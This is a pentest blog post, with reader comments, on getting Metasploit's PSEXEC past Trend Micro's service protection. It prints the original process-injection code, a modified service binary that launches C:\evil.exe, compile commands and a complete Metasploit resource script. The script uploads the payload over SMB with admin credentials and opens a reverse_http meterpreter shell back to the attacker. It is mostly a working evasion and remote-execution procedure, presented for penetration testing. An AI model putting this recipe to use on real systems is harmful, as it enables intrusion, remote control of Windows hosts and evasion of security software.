Bypassing Trend Micro's Service Protection

@jabjorkhaug posed the following question on Twitter today:

I figured I could solve this and it would be an interesting challenge. Here is what it gets detected as:

The service binary that is used as part of PSEXEC is located here:

MSF Directory/data/templates/src/pe/exe/service/service.c

The important part to look at starts at line 57:

if( CreateProcess( NULL, "rundll32.exe", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi ) )

{

Context.ContextFlags = CONTEXT_FULL;

GetThreadContext( pi.hThread, &Context );

lpPayload = VirtualAllocEx( pi.hProcess, NULL, PAYLOAD_SIZE, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE );

if( lpPayload )

{

WriteProcessMemory( pi.hProcess, lpPayload, &bPayload, PAYLOAD_SIZE, NULL );

#ifdef _WIN64

Context.Rip = (DWORD64)lpPayload;

#else

Context.Eip = (DWORD)lpPayload;

#endif

SetThreadContext( pi.hThread, &Context );

}

ResumeThread( pi.hThread );

CloseHandle( pi.hThread );

CloseHandle( pi.hProcess );

}

It's injecting our payload into the service binary and tossing our payload into "rundll32.exe" at run time on the victim (side note: you can change which bin it goes into ;). Lets change this so it doesn't do any injection and just executes a binary. That removes the 'injection' piece and hopefully lets us get our shell. We are loosing a bit of stealth because instead of just one (the service binary) we are writing two binaries.

To make this change you replace the above with just this:

if( CreateProcess( NULL, "C:\\evil.exe", NULL, NULL, FALSE, DETACHED_PROCESS, NULL, NULL, &si, &pi ) )

{

CloseHandle( pi.hProcess );

}

Compiling this on OSX using mingw is very easy and is very similar on Ubuntu if you have mingw installed:

i386-mingw32-gcc -o service.exe service.c 

Then just copy it to replace the current one:

cp service.exe ../../../../template_x86_windows_svc.exe 

No other changes are needed. Only problem is, how do we get the "evil.exe" up onto the box for it to execute? That's where the auxiliary module "auxiliary/admin/smb/upload_file" comes in :-) I built a resource file to demo the timeline of getting execution with this new service binary (broken up with comments to explain, _remove the comments for it to work_):

#Start Multi Handler

use multi/handler
set PAYLOAD windows/meterpreter/reverse_http
set LHOST 172.16.195.1
set LPORT 80
set ExitOnSession false
exploit -j -z

#Upload file to evil.exe on the C$ share (C$ is default for this module so no reason to set it)

use auxiliary/admin/smb/upload_file
set LPATH evil.exe
set RPATH evil.exe
set RHOST 172.16.195.155
set SMBUser Administrator
set SMBPass Password1234!
run

#Execute PSEXEC using the new service binary that simply executes

use exploit/windows/smb/psexec
set RHOST 172.16.195.155
set SMBUser Administrator
set SMBPass Password1234!
set DisablePayloadHandler true
set PAYLOAD windows/meterpreter/reverse_http
set LHOST 172.16.195.1
set LPORT 80
exploit -j -z

The passwords could have just as easily been hashes, and the end result is:

Well I can't really show you that nothing was detected… so I guess you just have to believe me when I say:

[*] Meterpreter session 2 opened (172.16.195.1:80 -> 172.16.195.155:49169) at Wed Jul 04 16:02:23 -0400 2012

w00t!

Comments

[Eric Milam]

Great blog Mubix, as always. Thanks for helping us better understand this part of Metasploit. We were banging our heads on a few pentests.

Looking forward to trying this out the next time I get a chance.

Best Regards
@Brav0Hax

[katiec]

I think you may need to CloseHandle( pi.hThread ); in your code just like in the original to avoid leaking a HANDLE.

Great post!

[Averagesecurityguy]

Are you disabling the payload handler because you are running the evil.exe binary and not injecting a payload? If so, why do you set the payload in the next line? Also, is evil.exe just a meterpreter executable created with msfvenom/msfpayload?